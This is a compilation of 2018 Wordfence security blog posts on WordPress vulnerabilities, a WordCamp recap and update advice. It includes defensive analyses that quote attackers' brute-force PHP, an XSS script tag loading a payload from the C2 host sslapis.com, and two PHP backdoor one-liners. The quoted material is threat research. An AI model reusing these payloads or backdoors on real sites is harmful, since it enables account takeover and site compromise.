WordPress 5.0.1 Security Release – Immediate Update Recommended

WordPress 5.0.1 was released Wednesday night, less than a week after the much anticipated release of WordPress 5.0. This security release fixes seven security vulnerabilities, a few of which are quite serious.

Sites running versions in the 4.x branch of WordPress core are also impacted by some of the issues. WordPress 4.9.9 was released along with 5.0.1 to address the issues for those users.

We have not seen attempts to exploit these vulnerabilities in the wild yet, but given the number of sites impacted we expect that to change.

The speed at which these security issues were discovered, reported and fixed is a testament to the strength of the WordPress community working together.

Vulnerability Details

Sensitive Data Exposure

Team Yoast discovered that the user activation screen could be indexed by search engines in some uncommon configurations, leading to exposure of email addresses, and in some rare cases, default generated passwords. WordPress has addressed this by stripping the activation key used in the URL, and storing the value in a cookie instead.

PHP Object Injection

Sam Thomas discovered that contributors could craft meta data in a way that resulted in PHP object injection. This looks to be similar to the 2 arbitrary file delete vulnerabilities fixed in WordPress 4.9.6. This vulnerability allows an author to assign an arbitrary file path to an attachment. The file path supplied by the author uses the phar:// stream wrapper on a previously uploaded attachment which leads to object injection utilizing a “feature” of the PHAR file type which stores serialized objects in the metadata of the PHAR file. Sam Thomas presented this technique at BlackHat earlier this year.

Unauthorized Post Creation

Simon Scannell of RIPS Technologies discovered that authors could create posts of unauthorized post types with specially crafted input. The requirement that an attacker would need at least ‘author’ level privileges makes the likelihood of this being exploited on a widespread basis very low.

Privilege Escalation / XSS

Tim Coen discovered that contributors could edit new comments from higher-privileged users, potentially leading to a cross-site scripting vulnerability. This is another vulnerability that requires a higher-level user role, making the likelihood of widespread exploitation quite low. WordPress addressed this issue by removing the <form> tag from their HTML whitelist.

Privileged XSS

Tim Coen and Slavco discovered that users with ‘author’ privileges on Apache-hosted sites could upload specifically crafted files that bypass MIME verification, leading to a cross-site scripting vulnerability. Yet again, the ‘author’ level user requirement makes an unlikely target for attackers.

XSS That Could Impact Some Plugins

Tim Coen also discovered that specially crafted URL inputs could lead to a cross-site scripting vulnerability in some circumstances. The code change in WordPress core affects the wpmu_admin_do_redirect function which is not used in WordPress, but a plugin may call this function somewhere.

Unauthorized File Deletion

Karim El Oeurghemmi discovered that author-level users could alter metadata to delete files that they weren’t authorized to. This issue stems from the 2 arbitrary file delete vulnerabilities fixed in WordPress 4.9.6. The fix in WordPress addressed how attachment files are deleted, by restricting the file paths to the uploads directory, but did not address the issue of authors having the ability to change the attachment paths to arbitrary files. An author can use this to delete other users’ attachments.

What To Do

We have released firewall rules to protect our Premium customers against the vulnerabilities most likely to be exploited. Sites running the free version of Wordfence will receive them in 30 days.

Sites on WordPress 5.0 should update to version 5.0.1 as soon as possible. Those with automatic updates enabled for WordPress core should have already been updated, but given the nature of the vulnerabilities we recommend you check your sites manually just in case.

Sites running WordPress 4.x versions should update to version 4.9.9 as soon as possible. We’ve heard conflicting reports about automatic updates working for this upgrade. If you need to manually upgrade, the 4.9.9 update can be downloaded here.

You can find the official release announcement from the WordPress team here.

The post WordPress 5.0.1 Security Release – Immediate Update Recommended appeared first on Wordfence.

Read More

WordCamp US Recap

WordCamp US was held in Nashville, Tennessee this year. We sponsored the event, had a booth and of course provided lock picking lessons, as has become our tradition at WordCamps. Our goal is to get you to think like a hacker, so that you can better secure your sites. Picking a lock really gets you into that mindset. Plus it is a lot of fun!!

From our team we had Sean Murphy – Director of Threat Intelligence, Tim Cantrell – Customer Service Engineer, Dan Moen – Chief Marketing Officer, Kathy Zant – Client Partner and of course me, Mark Maunder – CEO.

We sponsored 13 WordCamps this year and our team spoke at an additional three. I attended Atlanta, Los Angeles, Portland (Oregon), Vancouver (BC), Seattle and Nashville. On a personal note WCUS was intense for a few reasons. Our team has traditionally attended security conferences like DEF CON, Black Hat, RSA, DerbyCon and more – and we haven’t spent much time attending or sponsoring WordCamps. This year we changed that and put a lot of energy into engaging with the WordPress community.

By the time WCUS rolled around I had already made a lot of friends across the industry. In many cases, these are people in the WordPress community that I have been engaging with for over 6 years via Slack or email but have never met in person. Others I met at WordCamps across the country and when WCUS arrived, it was like a giant reunion which was a lot of fun.

One of my favorite new friends from this year’s WordCamps is Matt Mullenweg, the WordPress founder. I had the pleasure of having a beer with Matt at WordCamp Portland, where he made a surprise appearance. My colleagues Kathy Zant, Mikey Veenstra and I spent over 2 hours just hanging out with Matt in Portland and chatting. Matt is a really cool dude and we again met up at WCUS a few times. Matt came around to our booth and it turns out he has been into lock picking for some time and is quite good at it! (Photo below)

One of the things I love about WordCamps is it really brings the community together, including vendors like us and our peers in cybersecurity. My colleague Kathy Zant is deeply involved in the WordPress community and has made many friends across the industry. This is one of my favorite pictures from WCUS.

From left to right: Alycia Mitchell from Sucuri/GoDaddy, Jamie Schmid from SiteLock, our own Kathy Zant from Wordfence and Rianna MacLeod from Sucuri/GoDaddy.

 

I would be remiss if I didn’t mention Kathy Zant from our team in a bit more detail. Kathy has the most incredible energy and she really brought it at WCUS and WordCamps throughout the year that we sponsored. I would show up at our booth to set up at 7:30am to find that Kathy had already been there for an hour and was just about done booth-building.

Or I’d show up at 9am on a Sunday morning because I was up till 3am the previous evening “networking”, and Kathy was at the booth bright and early chatting with customers and solving security problems. During gaps at the booth she would be on her phone helping our larger customers with their challenges in her role as client partner. And as if that isn’t enough, Kathy is an Executive Producer on a certain project we are collaborating on (I think many of you already know what that is – more news on that soon) and is of course completely owning that role too. And most of that work happens at WordCamps.

Kathy. Is. Amazing.

During WordCamp Atlanta I had the great pleasure of meeting Kathy Drewien, one of the Atlanta organizers. Kathy is also an organizer for WordCamp US and of course we spent some time catching up. Kathy does a lot for WordCamps around the US and my team and I are very grateful for her contribution!!

This is a rather hasty selfie of Kathy Drewien and me at WordCamp US in front of our booth. Looks like Dan and Tim are having an animated conversation behind us and a few visitors are busily picking locks. Kathy Zant is on the far right talking to customers. As you can tell we fully utilized our booth space, and will most likely get a larger space next year.

 

WCUS is awesome. There is no other way to put it. By 9am every morning my body was producing its own caffeine, and by the time the evening came around I was literally high on life after spending time with the most incredible people. If you are passionate about WordPress, WCUS is Disneyland for WP.

This is Tim Cantrell with one of the harder practice locks we had at our table. A lot of our students had a hard time picking this one!!

 

This is Kathy Zant surrounded by her newly minted lock picking prodigies, working on a difficult lock of her own. Tim is on the right answering customer questions.

 

This is Matt Mullenweg with Josepha Haden from Automattic picking locks and chatting with Tim Cantrell.

 

The after-party for WCUS was held at the Adventure Science Center in Nashville. One of my life goals has been to go to a party that has beer at a science center. Goal achieved!!

This is a photo of me and another WCUS attendee battling it out on a mind game. You put a strap with electrodes on your forehead and the goal is to calm your mind as much as possible. The person with calmer mind pushes a ball towards their goal. I got absolutely killed on this game within a few seconds. My colleague apparently has a way calmer mind than I do. This was the moment of my defeat.

 

The after-parties hosted by sponsors were incredible. They really allowed our team and the attendees to experience Nashville, and Broadway in particular. The first time I walked onto Broadway my jaw dropped. I hadn’t actually heard much about Nashville’s party central, and the light show was incredible. I took this photo.

 

Thank you very much to the City of Nashville for hosting WordCamp US 2018. We had a wonderful time in your amazing city. I will be visiting again even if I can’t find a conference to attend. See you all in St Louis next year for WordCamp 2019. The Wordfence team will definitely be there!

~Mark Maunder

The post WordCamp US Recap appeared first on Wordfence.

Read More

How We Think About WordPress Security and Research

This weekend I had a really fun conversation with Doc Pop from Torque Magazine. Torque is a great news source for WordPress news. They are part of WP Engine, but maintain editorial independence.

I chatted with Doc in Nashville, in the Music City Center where WordCamp US was being held. Music City Center is an amazing facility and you can see some of it in the background of our interview. Nashville is also an incredible city. We will be posting a roundup of WordCamp US tomorrow morning.

In our conversation, Doc asked me various questions about WordPress security and the research we do. He got me talking about how we work, how we think about security, responsible disclosure of vulnerabilities and WordPress security in general.

The video of the interview is below. I’ll be around to answer any questions in the comments.

~Mark Maunder

 

The post How We Think About WordPress Security and Research appeared first on Wordfence.

Read More

Botnet of Infected WordPress Sites Attacking WordPress Sites

The Defiant Threat Intelligence team recently began tracking the behavior of an organized brute force attack campaign against WordPress sites. This campaign has created a botnet of infected WordPress websites to perform its attacks, which attempt XML-RPC authentication to other WordPress sites in order to access privileged accounts.

Between Wordfence’s brute force protection and the premium real-time IP blacklist, we have blocked more than five million malicious authentication attempts associated with this attack campaign in the last thirty days alone.

The threat actors (hackers) use a group of four command and control (C2) servers to send requests to over 14,000 proxy servers provided by a Russian proxy provider called best-proxies[.]ru. They use these proxies to anonymize the C2 traffic. The requests pass through the proxy servers and are sent to over 20,000 infected WordPress sites. Those sites are running an attack script which attacks targeted WordPress sites. The diagram below illustrates the attack chain.

In the post below, we describe this attack chain in detail for the benefit of researchers, vendors and security operations teams. We have omitted or redacted data in some cases because the C2 servers and infected WordPress sites are still online and may be exploited by others. Our team is sharing data with law enforcement related to this investigation. We are also providing data to affected hosts to help them remediate infected machines on their networks.

Brute Force Attack Scripts Identified

In our research of this campaign we determined that the IPs performing the brute force attacks were nearly all associated with popular web hosting providers, and that the attacks were all targeting WordPress’s XML-RPC interface at /xmlrpc.php. We also noted that the User-Agent strings associated with these requests matched those used by applications commonly seen interacting with the XML-RPC interface, like wp-iphone and wp-android. Since these applications typically store credentials locally, it was unusual to see a significant amount of failed logins from them, which drew our attention. We identified over 20,000 WordPress slave sites that were attacking other WordPress sites.

WordPress Attacking WordPress

With this data in hand, we went on to identify brute force attack scripts present on infected WordPress sites matching the attacks we were tracking. The scripts target the XML-RPC interface of WordPress sites to test username/password pairs, and randomly spoof the User-Agent string of each request:

foreach ($request as $i => $id) {
    $xmlualist  = array("Poster", "WordPress", "Windows Live Writer", "wp-iphone", "wp-android", "wp-windowsphone");
    $xmlual = $xmlualist[array_rand($xmlualist)];

The brute force script takes command and control (C2) input via POST in order to define some execution settings, such as a JSON array of targeted domains and a local wordlist to be used:

if ($_POST['secret']=='111'){
    $timer = time();
    libxml_use_internal_errors(true);
    ini_set('memory_limit', '-1');
    ini_set('max_execution_time', 500000000000);
    $request = array();
    if(checkWordsList($_POST['wordsList'], $_POST['path'], $_POST['hash'])){
        $domainsData = json_decode($_POST['domainsData'], true);
        foreach($domainsData as $item){
            $brutePass = createBrutePass($_POST['wordsList'], $item['domain'], $item['login'], $_POST['startPass'], $_POST['endPass']);
            $request[] = array('id'=>$item['id'], 'user'=>$item['login'], 'request'=>createFullRequest($item['login'], $brutePass),'domain'=>'http://' . trim(strtolower($item['domain'])).'/xmlrpc.php', 'brutePass'=>$brutePass);

        }

Dynamic Wordlist Generation

The wordlists associated with this campaign contain small sets of very common passwords. However, the script includes functionality to dynamically generate appropriate passwords based on common patterns. A few examples of these patterns are:

  • %domainPattern%
  • %userName%
  • %userName%1
  • %userName%123
  • %userName%2018
  • %userName%2017
  • %userName%2016

In other words, if the brute force script was attempting to log on to example.com as the user alice, it will generate passwords like example, alice1, alice2018, and so on. While this tactic is unlikely to succeed on any one given site, it can be very effective when used at scale across a large number of targets.

Multicall Functionality

WordPress’s XML-RPC interface saw an upswing in brute force attacks in 2015, when attacks leveraging multicall functionality became popular. In short, using this interface an attacker could send a large number of user/password pairs in a single request. WordPress would test each pair, and return a list of successes and failures. This technique made the brute force attack process much easier to launch at scale, since an attacking device would only need to send a single batch of credentials and wait for a reply.

The brute force script in this campaign is built to perform this type of multicall attack by default. The code snippet below shows the function that, when given a username and array of passwords, will assemble a single XML object containing all of the passwords to be attempted.

function createFullRequest($login, $passwords){
    $xml = createRequestXML();
    for($i = 0; $i < count($passwords); $i++){ $xml = addElementXML($xml, $login, $passwords[$i]); } $request = $xml->saveXML();
    return $request;
}

The C2 systems issuing instructions to the brute force script can optionally define $startPass and $endPass variables, which tell the script to only attempt a subset of passwords on a given list instead of running the entire set.

Multicall Attacks No Longer Effective (Mostly)

Many WordPress users may not be aware that this XML multicall attack is no longer effective. A patch to wp-includes/class-wp-xmlrpc-server.php was introduced in WordPress 4.4. With this patch, if one login attempt in an XML-RPC request fails on a targeted website, that website will immediately fail all subsequent attempts in the same request, even if the credentials are valid.

The XML-RPC patch to WordPress 4.4 was released quietly, and isn’t disclosed in the release notes. It also hasn’t been backported to earlier WordPress branches like the majority of security fixes, despite being a relatively uninvasive patch. To clarify, even if a site is on the latest security release of a WordPress branch from 4.3 and older, it can be vulnerable to this attack method.

The attackers in this campaign seem to be aware of this improvement. A number of requests from C2 systems to (formerly) infected sites have been intercepted by the Wordfence firewall, and these requests all define the same value for the $startPass and $endPass parameters described above. This means that the attack scripts end up attempting authentication with one user/password combination at a time, effectively deprecating the script’s own multicall functionality.

Attacker Infrastructure Revealed

As mentioned above, we’ve been able to capture requests sent from C2 systems to the network of infected WordPress sites, and have been successful in acquiring a great deal of intelligence from this data.

Central C2 Servers Identified

The attack chain in this campaign made use of multiple layers of abstraction between the attacker and target sites. Brute force attacks are executed by a network of infected WordPress sites, which receive instructions via a network of proxy servers, so it would typically be very difficult to track the central C2 servers behind it all. We were fortunate, though, that the attacker made some mistakes in their implementation of the brute force scripts.

Since the scripts each make use of wordlists stored on the same infected WordPress site, they include functionality to regenerate these wordlists if necessary:

function checkWordsList($filename, $path, $hash){
    if(file_exists($_SERVER["DOCUMENT_ROOT"].'/'.$filename) and md5_file($_SERVER["DOCUMENT_ROOT"].'/'.$filename) == $hash){
        return true;
    }else{
        downloadCurlTarg($path, $_SERVER["DOCUMENT_ROOT"].'/'.$filename);
        if(file_exists($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) and md5_file($_SERVER["DOCUMENT_ROOT"] . '/' . $filename) == $hash){
            return true;
        }else{
            return false;
        }
    }
}

The checkWordsList() function is passed a $path argument which defines a remote address containing the wordlist to be used. If the local wordlist is missing, the script will download the list from the given address. This path is provided alongside the rest of the POST data sent from the proxy servers to the brute force script. Requests intercepted by our firewall included this path, which contained an IP address.

This IP pointed to a server which contained a login page, which suggested we found something big.

Simple login screen found on the C2 servers.

We went on to identify a total of four active command and control servers involved in the brute force campaign.

C2 Interface Access

Brief analysis of the C2 sites revealed that, despite the login page, authentication to these systems wasn’t actually enforced. Attempting to access pages on the C2 interface would trigger a 302 redirect to the login page, but the application still sent the page data alongside the redirect.

cURL request to the homepage of a C2 server. Note the 302 redirect to /login.php, as well as the HTML response that follows it.

Using BurpSuite, we created a proxy rule that ignores this login redirect, which gave us the ability to browse the interface of the C2 application freely. Contained within the interface was a number of features, including the ability to access a list of “slaves”, which referred to the infected WordPress sites containing brute force scripts.

One view available in the C2 interface showing a list of logs exported by the attacker.

Identified Connection To Best-Proxies.ru

With access to the interfaces of these C2 servers, we were able to identify the relationship between these servers and the proxy servers issuing commands to the “slave” sites. Each server contained a file in its webroot named proxy.txt. This file contains a list of nearly ten thousand SOCKS proxy addresses, with IP addresses and ports. These IP addresses coincided with the proxy servers we had previously identified, suggesting the C2 uses this file to randomly select a proxy when issuing each attack. We identified 14,807 proxy servers.

Interestingly, the proxy.txtfile on one of the C2 servers didn’t contain a list of proxy addresses, but instead contained an HTML document. The document was a copy of a 503 Service Unavailable error, including a link to api.best-proxies.ru. Also in this document was Russian text which translates to “Authorization error: The validity period of this key is over, you can buy a new key.”

It turns out, even hackers forget to pay their bills.

Screenshot of the error document stored on a C2 server, suggesting the attacker failed to renew the API key used to access proxy lists.

Given the circumstances, it’s probable that the C2 server sources its list of SOCKS proxies from api.best-proxies.ru by directly storing the API response in proxy.txt. When the API returns an error, this error overwrites the proxy list.

C2 Servers and “Bulletproof” Hosts in Romania, Netherlands and Russia

The C2 servers we identified are hosted with providers known in the security community as “bulletproof” hosts. “Bulletproof” refers to hosts that are known for lax (if any) enforcement of abuse policies and legal action, making them a de facto safe haven for malicious activity.

According to MaxMind’s GeoLite2 ASN database, three of the identified C2 servers are associated with a company called HostSailor. HostSailor has been in the news for infamously threatening KrebsOnSecurity after the security publication drew attention to the company’s questionable practices.

Two of the C2 servers hosted at HostSailor are located in the Netherlands and one is in Romania. The remaining C2 server is hosted with SELECTEL, a Russian hosting provider which is referred to as bulletproof in discussions on forums like BlackHatWorld.

Cooperation With Authorities

A great deal of valuable data was gathered as a part of this investigation. Due to the nature of our work, our team maintains contact with a number of law enforcement agencies around the globe. While we typically share a great deal of data on these blog posts, like IP addresses and other indicators of compromise, in this case we have elected to retain some of this information in order to prevent interfering with possible future investigations.

In addition to law enforcement, we will be contacting some hosting providers we’ve identified with large numbers of infected “slave” sites. It is our hope that providing this information can help limit the effectiveness of this campaign by reducing the number of active sites launching attacks.

What Should Site Owners Do?

In order to prevent your site from falling victim to brute force attacks, it is valuable to implement restrictions and lockouts for failed logins. The Wordfence plugin features robust brute force protection, and the IPs launching the attacks are automatically blocked for Premium Wordfence users with access to the real-time IP blacklist.

The Wordfence scanner is effective at detecting the malware this attack campaign is dropping on affected websites. That detection capability is already in production for Premium customers and will be available for our community users in a few days.

If you believe your site is infected and launching attacks as part of this campaign, please consider making use of our site cleaning services. Our team is familiar with these cases and can ensure your issue is properly handled. You should also consider having our team perform a site security audit.

Conclusion

The Defiant Threat Intelligence Team identified a widespread campaign of brute force attacks against WordPress websites. These attacks were launched by malicious scripts planted on other WordPress sites, which received instructions from a botnet with a sophisticated attack chain, using a Russian based proxy provider. We are actively collaborating with law enforcement and hosting providers to mitigate the effects of this attack campaign and the threat actor involved.

Credits: Author Mikey Veenstra. Research by Brad Haas and Mikey Veenstra. Additional contributions from James Yokobosky, Paolo Tresso and Gregory Bloom. Edited by Mark Maunder and Dan Moen. Artwork by Syndel Klett.

 

The post Botnet of Infected WordPress Sites Attacking WordPress Sites appeared first on Wordfence.

Read More

WordPress 5.0: How and When to Update

WordPress 5.0 is being released tomorrow, December 6th. This release contains a major change to the WordPress editor. The new editor, code-named Gutenberg, is a substantial leap forward in functionality. It uses a new block-based system for editing which allows you to embed a wide range of content in your posts and pages, and gives you a lot of flexibility in laying out those blocks on the page.

Once Gutenberg and WordPress 5.0 have stabilized, they will provide long term benefits to WordPress users and the community. But in the short term, this change may introduce challenges for some WordPress site owners. In this post we will discuss a few points that will help you decide when to upgrade to WordPress 5.0, and to formulate a successful strategy for making the transition.

Why is WordPress changing the editor?

The WordPress core development team has been talking about Gutenberg for quite some time. The goal, according to Matt Mullenweg, is “to simplify the first-time user experience with WordPress — for those who are writing, editing, publishing, and designing web pages. The editing experience is intended to give users a better visual representation of what their post or page will look like when they hit publish.”

Overall, we agree that Gutenberg will be a giant leap forward in using WordPress to create content online. But, as Matt stated, the goal is to simplify the experience for the first-time user. For the rest of us who have assembled a number of tools to fill the gaps in the older editor’s shortcomings, this will be a period of adjustment.

Potential Problems With Legacy Plugins and Themes

WordPress has been around for over 15 years, and in that time millions of websites have been created using the current editing framework. Often, sites are created and never updated to more modern themes. There are a large number of abandoned plugins installed on WordPress sites – plugins that are no longer being actively maintained by their developers.  No one is testing these abandoned plugins or older themes to see how they will behave with Gutenberg.

Adding to the complexity, many of these sites may be hosted on managed WordPress hosting services that will auto-update to the new WordPress version.

Some WordPress site owners may be unable to effectively edit pages they had previously published. Some may be unable to access their edit screen. There may be server 500 errors or white screens for some users. Or everything may run smoothly, even with legacy plugins and a legacy theme.

With over 60,000 unique plugins in the WordPress plugin directory, it is not feasible to test all of the plugins with the new editor. Actively maintained plugins are, for the most part, being tested by the plugin authors. Abandoned plugins will not have been tested, so it is up to you to test whether WordPress 5.0 will work with these plugins.

The same applies to themes. Many themes are actively maintained by their authors. In other cases, a theme may have been created as a single project for a customer or created for the community and then left unmaintained. These unmaintained themes have not been tested with Gutenberg and WordPress 5.0.

If you do anticipate compatibility problems with WordPress 5.0, you can keep the current WordPress editor by installing the WordPress Classic Editor Plugin. We recommend you do this ahead of time, rather than try to use the new editor with incompatible code. But it’s also worth pointing out that Gutenberg and WordPress 5.0 are a significant step forward in editing power and flexibility. So it is worth investing the time to make your site compatible, modifying it if needed, and then reaping the benefits of a brand new block-based editor.

Will Wordfence work with Gutenberg?

Yes. Wordfence does not interact with the editor, so it will not be impacted by Gutenberg. Our QA team has thoroughly verified that Wordfence is ready for Gutenberg and WordPress 5.0.

Because you do have Wordfence installed, you will receive a notification that WordPress is out of date and requires an update. Please keep in mind that this is no ordinary update. This is a major change to your content management system, and we recommend that if you’re not ready for the new editor, wait to update WordPress. Yes, you will receive security warnings from Wordfence because the basic premise has always been to keep open source software updated. If you are not entirely ready for WordPress 5.0, however, there is no harm in staying on the current version while you get ready.

The current version of WordPress core is 4.9.8. If you remain on this version, you will continue to receive security updates from the WordPress core team. The current policy of the WordPress security team is to back-port security fixes to all auto-update compatible WordPress core versions. That means that all versions of WordPress core will continue to receive security updates all the way back to WordPress 3.7. This is not an open-ended policy and may change in the future.

How do I know if I am ready?

Do you have a testing environment for your website? Have you tried the new Gutenberg editor? Are you using a modern version of PHP? Great, you’ll likely be prepared for WordPress version 5.0. As with all major releases, we recommend updating your test environment first to look for problems.

Look for anomalies with all of your page layouts. It also makes sense to go back in time on your test environment and review older posts and pages to ensure they’re ready for the new editor.

As always back up both your site files and your database prior to any update, especially an update of this magnitude.

If your hosting provider auto-updates

If you’re on managed WordPress hosting, your hosting provider will automatically update WordPress for you. Your managed WordPress provider should be taking backups for you. Check with your hosting provider to see what support they will provide for the new WordPress editor and when they will be updating to WordPress 5.0. Some hosting providers, like Page.ly, are waiting until January of next year to do the update.

If you’re using a page builder or premium theme

If your site uses a page builder like Visual Composer, Divi, Beaver Builder or any other tool that uses shortcodes, check with the developer to ensure that your tool is ready for Gutenberg. Many page builders come bundled with premium themes. You may need to check with your theme developer to ensure that you have the updated versions installed on your sites.

What are the security implications of Gutenberg?

We are not currently aware of any security issues with WordPress 5.0 or Gutenberg. The project is being moved into production at a rapid pace which increases the risk of a security issue emerging, because this reduces the amount of time available for testing and debugging.

At this phase in the evolution of WordPress, there are a large number of security teams globally that have eyes on the code and are actively conducting research to determine if there are vulnerabilities in new WordPress releases. As soon as an issue emerges, our team will react and release a firewall rule in real-time to protect our Premium Wordfence customers.

Once WordPress 5.0 is released, there will likely be a series of smaller releases that will emerge over the following weeks. We recommend that you monitor the official WordPress blog and if they announce a security update, upgrade as soon as possible.

Overall This is Good News

As mentioned above, Gutenberg and WordPress 5.0 are a major leap forward in the evolution of WordPress. Rapid innovation does not come without risk or inconvenience to a such a large user base. Our team is excited to embrace the new WordPress and to use it ourselves. By following our recommendations above, you can reduce the risk of this transition and migrate smoothly into 2019 with a powerful new editor for WordPress.

 

The post WordPress 5.0: How and When to Update appeared first on Wordfence.

Read More

XSS Injection Campaign Exploits WordPress AMP Plugin

News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites. WordPress contributor Sybre Waaijer identified the security issue and confidentially disclosed it to the WordPress plugins team. To exploit the flaw, an attacker needs to have a minimum of subscriber-level access on a vulnerable site.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/xss-injection-campaign-exploits-wordpress-amp-plugin/

The Wordfence team has identified an XSS (cross-site scripting) campaign that is actively exploiting this security flaw. In the post below, we describe this sophisticated attack campaign in detail. It is critical that site owners using AMP For WP update to the most recent version of this plugin as soon as possible. At the time of writing, the newest version of AMP For WP is version 0.9.97.20.

The Wordfence firewall has a new rule that defends sites against this exploit. This rule has been released to Premium Wordfence customers and will be available for free customers 30 days after release. In addition, the Wordfence firewall has a generic XSS rule which has been available to free and Premium customers for over 2.5 years, which catches most exploits targeting this vulnerability.

In addition, the Wordfence team released malware signatures into production that detect the malware payloads that are being deposited on servers targeted in this attack. These are currently in production for Wordfence Premium customers.

The rest of this post documents the attack campaign that our team has identified, which is exploiting the recent vulnerability discovered in the AMP For WP plugin. The rest of this post is written for security operations teams, developers, vendors and other network defenders. It describes the attack chain and includes IOCs (indicators of compromise) that can be used to improve security products and harden firewalls and intrusion detection systems against this threat.

The Vulnerability

A number of individual security flaws were patched in the recent release of the plugin. The crux of the situation is an overall lack of capabilities checks associated with the plugin’s AJAX hooks. A user needs to have an active login session to make the necessary calls to the plugin and it does not matter what permissions that user has been granted on the impacted site.


The code above from install/index.php iterates over POST data without any capabilities checks.

The active exploits we have identified are leveraging this set of flaws to modify the plugin’s own options stored in the WordPress database.

Attacking The Admin

The most prevalent attacks against this vector attempt to inject the following XSS payload into the victim’s site content with the goal of affecting a logged-in administrator:

<script src=https://sslapis.com/assets/si/stat.js></script>

If an administrator’s browser executes the malicious JavaScript, it will source a larger payload from its command and control (C2) server at sslapis.com. This script, stat.js, contains a number of notable features.

The SendData() function above notifies the C2 server of any actions successfully executed by the malicious JavaScript

One area of concern is the processNewUser() function, which attempts to hijack the affected administrator’s browser session in order to register a new administrator account named supportuuser:

The processNewUser() function attempts to use a hidden iframe to execute the user registration process.

After creating a hidden iframe element on the page being viewed by the affected administrator, the script simulates the process of filling out the New User form. As part of this process it selects the Administrator role and sends a click() event to the submit button to create a new user with admin access.

In addition to the creation of a rogue administrator account, the script also attempts to inject backdoor code into an affected site’s plugins. This is accomplished similarly to the administrator creation above, with a hidden iframe appended to the page’s content and used to simulate an admin’s interactions with the Plugin areas of the dashboard.

The function defined above is used to inject malicious PHP into a site’s plugins.

The PHP backdoors injected into a site’s plugins are as follows:

@array_diff_ukey(@array((string)@$_REQUEST['vqmode']=>1), @array((string)stripslashes(@$_REQUEST['map'])=>2),@$_REQUEST['bootup']);

@extract($_REQUEST);@die($cdate($adate));

Both of these backdoors are effective ways to allow an attacker to execute arbitrary PHP code on infected sites, even if the rogue administrator account mentioned above is successfully removed.

C2 Server

The command and control (C2) server for this campaign is currently located at sslapis.com. This host serves the live version of the JavaScript payload described above, as well as a script used to receive data from affected browser sessions. The domain itself was registered on November 2nd with the Ukrainian company ukrnames.com, but the server hosting the domain has been around longer, having been associated with an Apple phishing scam just over a year ago.

Coding Style

As you may have noticed from the screenshots above, the JavaScript file hosted on the C2 server contains a number of commented-out lines apparently used during development by the malware’s author to test various functions. Additionally, the JavaScript itself is uncommonly well-formatted as compared to other malware, where “uglified” or otherwise obfuscated code is the norm. This can change at any time because the script is hosted on the adversary’s server.

While attacks targeting this vulnerability are coming from an array of source addresses, a flaw in the execution of these attacks make them easily trackable. It is common for attack platforms to spoof the User-Agent string of a well known browser in an effort to make their traffic blend in with normal browsing activity. In this case however, the User-Agent string contained in these malicious requests is broken: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv. Note that in similar User-Agent strings, a version number follows “rv”. This suggests that the attacker intended to rotate or otherwise change the version number in the string programmatically. This broken User-Agent was found in all attacks associated with this adversary.

Indicators Of Compromise (IOCs)

Most Prevalent Attacking IPs

  1. 181.215.147.23
  2. 193.112.161.204
  3. 219.145.170.23
  4. 192.169.198.104
  5. 193.112.65.16
  6. 46.101.156.232
  7. 193.112.91.155
  8. 218.92.252.230
  9. 208.109.53.224
  10. 41.139.45.78

Outbound Domains Accessed

  • sslapis.com

Associated User-Agents

  • Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv

Database Indicators

  • The presence of unauthorized accounts in your site’s users table, including but not limited to the following example:
    • supportuuser
  • The presence of any unintentionally-introduced JavaScript in any wp_options entries associated with the AMP For WP plugin, which contain the string amp in the option_name field.

Conclusion

This malware campaign is an example of why a stored XSS vulnerability is a high priority issue. When an attacker is able to run their own JavaScript in the browser of a site’s administrator, there are a variety techniques they can employ to pivot further into a site. While the C2 domain in the case of this attack is very new and has yet to appear on the blacklists used by popular browser plugins like uBlock Origin, administrators of mission-critical sites might consider employing an untrusted-by-default model with browser extensions like NoScript.

We considered a content security policy (CSP) as possible mitigation of this attack, but the attacker could modify the XSS payload to be an inline version of the script loaded from the sslapis C2 server.

As always, the best defense against these attacks is to keep your site’s software up to date. AMP For WP’s security fix was available for nearly two weeks before these attacks began, hopefully placing a hard limit on the exploitable attack surface of this vulnerability.

For sites unable to update, or those which have not updated for any other reason, a rule has been added to the Wordfence firewall preventing these attacks. This rule is already in place on all Premium Wordfence users, and will be released to Free Wordfence users after 30 days. However, most attempts at exploiting this vulnerability happen to trigger a preexisting firewall rule built to block generic XSS payloads, and this rule has been protecting free Wordfence users for over 2.5 years. Our team has also released malware signatures into production to detect the malware being deposited on servers targeted in this attack.

Written by Mikey Veenstra with research assistance from Stephen Rees-Carter, James Yokobosky and Matt Barry. 

The post XSS Injection Campaign Exploits WordPress AMP Plugin appeared first on Wordfence.

Read More

Trends Emerging Following Vulnerability In WP GDPR Compliance Plugin

Earlier this week the WP GDPR Compliance plugin was briefly removed from the WordPress.org repository after the discovery of critical security issues impacting its users. In yesterday’s post, we provided some details regarding these issues and illustrated their severity. In the hours since that post was published, our team has continued tracking the adversaries seeking to exploit this new attack vector. Today, we’re sharing the findings of this extended research. This post is technical in nature and will be helpful for network defenders, developers and security researchers.

This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/11/trends-following-vulnerability-in-wp-gdpr-compliance-plugin/

For details regarding the vulnerability and its scope be sure to read yesterday’s post, Privilege Escalation Flaw In WP GDPR Compliance Plugin Exploited In The Wild, before proceeding.

If you run a WordPress site and use this plugin, you should update to the newest version which fixes the vulnerability, or remove the old version of the plugin. The newest version of WP GDPR Compliance is version 1.4.3.

Two Notable Exploits

The data gathered by our malware scans, firewall activity, and site cleaning reports has revealed two primary types of exploit taking place. The first case, identified early in our research and mentioned in yesterday’s post, involves modifying user registration settings. The second case, caught and logged by the new firewall rule for this vulnerability, injects malicious scheduled actions to be executed by WP-Cron. Examples we have seen of both attack types have made use of backdoor scripts named wp-cache.php, though the contents of these backdoor files differ between the two methods.

Administrator Access via Modified Settings

The most common attempted attacks against this flaw at the time of this writing directly exploit the ability to modify arbitrary settings on affected sites. By enabling new user registration and changing the default role of new users to Administrator, attackers are able to simply create a new privileged user, then log in and take any actions on the newly compromised site.

